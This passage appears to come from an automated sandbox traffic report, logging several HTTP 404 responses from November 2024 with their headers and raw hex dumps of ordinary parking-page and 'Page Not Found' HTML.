22 74 69 74 6c 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 06 Nov 2024 07:42:08 GMTServer: ApacheX-ServerIndex: llim603Upgrade: h2,h2cConnection: Upgrade, closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 61 39 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 77 77 77 2e 63 65 73 61 63 68 2e 6e 65 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 73 73 2f 70 61 72 6b 69 6e 67 32 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 45 78 6f 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 69 64 3d 22 74 68 65 57 69 64 74 68 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 73 63 72 65 65 6e 2e 77 69 64 74 68 20 3c 3d 20 34 32 30 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6d 76 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 74 68 65 57 69 64 74 68 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 76 70 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 63 6f 6e 74 65 6e 74 27 2c 27 77 69 64 74 68 3d 34 30 30 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 21 2d 2d 20 63 6c 69 65 6e 74 20 2d 2d 3e 0d 0a 3c 68 65 61 64 65 72 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 65 6e 74 65 72 22 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 06 Nov 2024 07:42:10 GMTServer: ApacheX-ServerIndex: llim603Upgrade: h2,h2cConnection: Upgrade, closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 61 39 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 49 53 4f 2d 38 38 35 39 2d 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 77 77 77 2e 63 65 73 61 63 68 2e 6e 65 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 73 73 2f 70 61 72 6b 69 6e 67 32 2e 63 73 73 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 45 78 6f 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 69 64 3d 22 74 68 65 57 69 64 74 68 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 28 73 63 72 65 65 6e 2e 77 69 64 74 68 20 3c 3d 20 34 32 30 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6d 76 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 74 68 65 57 69 64 74 68 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 76 70 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 63 6f 6e 74 65 6e 74 27 2c 27 77 69 64 74 68 3d 34 30 30 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 21 2d 2d 20 63 6c 69 65 6e 74 20 2d 2d 3e 0d 0a 3c 68 65 61 64 65 72 3e 0d 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 65 6e 74 65 72 22 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 3b 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 70 69 65 6e 73 61 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 06 Nov 2024 07:42:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 06 Nov 2024 07:42:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 06 Nov 2024 07:42:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingETag: W/"66cce1df-b96"Content-Encoding: gzipData Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f 17 de 44 ff 37 28 b7 c7 cd 9d 29 bd 13 bd 53 74 17 91 d5 0f 16 37 b9 4a cd 61 81 e8 f6 01 b1 fe a9 d7 77 ea 47 2e e5 15 7a 7c 51 12 ca 9f 26 38 55 16 eb 6a 81 12 58 42 5d b7 f4 af 4f dc 3b 67 7d da db 7c 35 c5 17 bd 40 9c f8 52 6f 26 69 3c e8 62 9d db 05 0a 29 fd 7e c2 4b 6d 41 35 6e b6 2a 29 aa 35 e4 9c 12 ca 07 35 fd aa 41 5a ad d9 2c 90 00 f7 2f 97 73 a4 76 ae 11 57 72 aa a8 74 dd bb d8 16 db 02 31 4a 9f 9d 80 eb ce 3b b5 b3 e6 84 5e ea 6c 4a ee b5 aa aa d8 28 ab 3f 7d ea 07 69 af bd 9b 16 a6 c2 e9 ae 6e 07 60 aa 79 71 c6 cb 8a b2 c4 1b 93 42 9a 20 98 fc 9b 8a 33 95 ea b7 d5 85 5a b7 a3 16 a8 63 4e 71 45 95 99 5e 78 cc ab 8c fd 24 eb 57 00 2c 9e 92 7a 9c ae 6b 53 9f 01 93 98 33 1e 9e 00 27 a4 1e 78 50 75 05 4b 74 06 cd b2 24 11 e2 04 3a 21 f5 d0 66 97 24 ba 69 ce dd 55 77 ca 3f b5 3a 21 0d 61 c2 72 e2 12 56 46 f7 e8 bc af 2a 26 f8 50 0d c3 0a 8f 94 1e 9b ea 26 a9 8b 6d 9b 46 57 ce 67 f6 43 ea ae ef 97 21 3b a9 e6 ae c8 19 e1 63 91 43 3b d0 78 70 87 9f 55 61 66 8c 1d 4b 70 5a ae fe 58 c4 13 b5 b0 ef 7a ad e7 55 91 ea 52 1d 31 6b 2e cb cd 31 c6 5a eb 60 3f df eb 63 56 43 c1 34 e8 a4 9a b2 da 6c fa e1 cc b8 10 2d 20 fb c8 bf 76 bb dd 5c f0 d9 84 ef 5e cb f9 d0 78 97 f3 fe 3c 58 ba 06 dc f6 e4 b4 d8 a3 a4 54 4d b3 f2 c6 fd e7 b5 3d 7a ca aa cd a1 23 9e 01 ca 9e 7a 42 be dc 71 67 5b 65 00 c1 89 b0 5f f7 c3 59 0f 6e 77 c7 a4 76 32 85 3f ef 74 d3 66 2e 29 ea a4 d4 de 80 78 d8 94 15 20 72 6b b7 8b f9 fc 70 38 90 83 20 a6 5e cf 39 a5 74 0e aa 47 49 77 ac bd 32 0f 2b 8f 22 8a 24 e3 ee 19 98 83 2f b3 e5 56 d9 7c 98 cc d2 95 f7 4e 52 1f ba 6b 90 50 a8 d0 80 c4 71 88 19 63 84 fa 02 71 3f c2 f0 b8 ef 6d 84 44 cc 1d 17 45 4e fa 26 42 8c c5 84 46 a2 fb 82 74 4b 47 51 e3 10 ad 86 a8 d5 e0 9e 2f ef 78 c0 49 20 25 8a 69 82 a5 4f
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 06 Nov 2024 07:42:24 GMTContent-Type: text/html; charset=utf-8Content-Length: 2966Connection: closeVary: Accept-EncodingETag: "66cce1df-b96"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 41 72 69 61 6c 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 53 61 6e 73 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 0a 09 09 09 09 09 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 0a 09 09 09 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 31 70 78 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 37 35 29 3b 0a 09 09 09 09 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 09 09 7d 0a 0a 09 09 09 68 31 20 7b 0a 09 09 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 35 65 6d 3b 0a 09 09 09 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 30 2e 30 32 65 6d 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 06 Nov 2024 07:42:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingVary: Originset-cookie: locale=en-us; path=/; max-age=31557600; expires=Thu, 06 Nov 2025 13:42:52 GMTx-xss-protection: 1; mode=blockx-content-type-options: nosniffx-download-options: noopenstrict-transport-security: max-age=31536000; includeSubdomainsx-frame-options: SAMEORIGINcf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ntPc25kEmC1ajuXatwuxMIq6piB7pNnnQ65qnRVu8s%2BGHY2NrPrkq7aSPYtKLT1tQ93dfg%2Fu8SmpG9zppjvFcsygWpBA6OxSDM7SArddCEF%2BbMRzij2I9JzTX60x%2FSxj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8de37305bc04e9bd-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1497&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=546&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 38 66 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 7a 68 2d 43 4e 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 3e 3c 6d 65 74 61 